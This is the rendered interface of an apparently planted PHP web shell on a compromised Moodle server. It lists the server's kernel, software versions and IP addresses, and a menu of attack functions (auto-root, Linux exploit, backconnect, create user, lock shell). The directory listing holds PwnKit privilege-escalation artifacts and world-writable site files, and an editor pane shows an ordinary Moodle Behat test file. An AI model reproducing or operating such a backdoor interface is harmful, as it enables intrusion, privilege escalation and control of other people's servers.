Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
question /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
behat_core_question.php
7.75
KB
-rwxrwxrwx
behat_question.php
4.55
KB
-rwxrwxrwx
behat_question_base.php
2.28
KB
-rwxrwxrwx
delete_question_activities.fea...
1.81
KB
-rwxrwxrwx
delete_questions.feature
3.28
KB
-rwxrwxrwx
duplicate_questions.feature
2.99
KB
-rwxrwxrwx
edit_question_tags.feature
2.07
KB
-rwxrwxrwx
edit_questions.feature
3.55
KB
-rwxrwxrwx
edit_questions_standard_tags.f...
1.23
KB
-rwxrwxrwx
filter_questions_by_tag.featur...
1.66
KB
-rwxrwxrwx
move_question_categories.featu...
2.37
KB
-rwxrwxrwx
preview_question.feature
3.72
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
question_categories.feature
4.66
KB
-rwxrwxrwx
question_categories_idnumber.f...
6.85
KB
-rwxrwxrwx
select_questions.feature
2.54
KB
-rwxrwxrwx
sort_questions.feature
3.44
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : question_categories_idnumber.feature
@core @core_question Feature: A teacher can put questions with idnumbers in categories with idnumbers in the question bank In order to organize my questions As a teacher I create and edit categories and move questions between them (now with idnumbers) Background: Given the following "users" exist: | username | firstname | lastname | email | | teacher1 | Teacher | 1 | teacher1@example.com | And the following "courses" exist: | fullname | shortname | format | | Course 1 | C1 | weeks | And the following "course enrolments" exist: | user | course | role | | teacher1 | C1 | editingteacher | And I log in as "teacher1" And I am on "Course 1" course homepage Scenario: A new question category can only be created with a unique idnumber for a context # Note need to create the top category each time. When the following "question categories" exist: | contextlevel | reference | questioncategory | name | idnumber | | Course | C1 | Top | top | | | Course | C1 | top | Used category | c1used | And I navigate to "Question bank > Categories" in current page administration And I set the following fields to these values: | Name | Sub used category | | Parent category | Used category | | Category info | Created as a test | | ID number | c1used | And I press "Add category" # Standard warning. Then I should see "This ID number is already in use" # Correction to a unique idnumber for the context. And I set the field "ID number" to "c1unused" And I press "Add category" Then I should see "Sub used category ID number c1unused (0)" And I should see "Created as a test" in the "Sub used category" "list_item" Scenario: A question category can be edited and saved without changing the idnumber When the following "question categories" exist: | contextlevel | reference | questioncategory | name | idnumber | | Course | C1 | Top | top | | | Course | C1 | top | Used category | c1used | And I navigate to "Question bank > Categories" in current page administration And I click on "Edit this category" "link" in the "Used category" "list_item" And I press "Save changes" Then I should not see "This ID number is already in use" Scenario: A question can only have a unique idnumber within a category When the following "question categories" exist: | contextlevel | reference | questioncategory | name | idnumber | | Course | C1 | Top | top | | | Course | C1 | top | Used category | c1used | And the following "questions" exist: | questioncategory | qtype | name | questiontext | idnumber | | Used category | essay | Test question 1 | Write about whatever you want | q1 | | Used category | essay | Test question 2 | Write about whatever you want | q2 | And I am on the "Test question 2" "core_question > edit" page And I set the field "ID number" to "q1" And I press "submitbutton" # This is the standard form warning reminding the user that the idnumber needs to be unique for a category. Then I should see "This ID number is already in use" Scenario: A question can be edited and saved without changing the idnumber When the following "question categories" exist: | contextlevel | reference | questioncategory | name | idnumber | | Course | C1 | Top | top | | | Course | C1 | top | Used category | c1used | And the following "questions" exist: | questioncategory | qtype | name | questiontext | idnumber | | Used category | essay | Test question 1 | Write about whatever you want | q1 | And I am on the "Test question 1" "core_question > edit" page And I press "Save changes" Then I should not see "This ID number is already in use" Scenario: Question idnumber conflicts found when saving to a different category. When the following "question categories" exist: | contextlevel | reference | questioncategory | name | | Course | C1 | Top | top | | Course | C1 | top | Category 1 | | Course | C1 | top | Category 2 | And the following "questions" exist: | questioncategory | qtype | name | questiontext | idnumber | | Category 1 | essay | Question to edit | Write about whatever you want | q1 | | Category 2 | essay | Other question | Write about whatever you want | q2 | And I am on the "Question to edit" "core_question > edit" page And I set the following fields to these values: | Use this category | 0 | | ID number | q2 | | Save in category | Category 2 | And I press "Save changes" Then I should see "This ID number is already in use" @javascript Scenario: Moving a question between categories can force a change to the idnumber And the following "question categories" exist: | contextlevel | reference | questioncategory | name | idnumber | | Course | C1 | Top | top | | | Course | C1 | top | Subcategory | c1sub | | Course | C1 | top | Used category | c1used | And the following "questions" exist: | questioncategory | qtype | name | questiontext | idnumber | | Used category | essay | Test question 1 | Write about whatever you want | q1 | | Used category | essay | Test question 2 | Write about whatever you want | q2 | | Subcategory | essay | Test question 3 | Write about whatever you want | q3 | When I am on the "Test question 3" "core_question > edit" page # The q1 idnumber is allowed for this question while it is in the Subcategory. And I set the field "ID number" to "q1" And I press "submitbutton" # Javascript is required for the next step. And I click on "Test question 3" "checkbox" in the "Test question 3" "table_row" And I set the field "Question category" to "Used category" And I press "Move to >>" And I choose "Edit question" action for "Test question 3" in the question bank # The question just moved into this category needs to have a unique idnumber, so a number is appended. Then the field "ID number" matches value "q1_1"
Close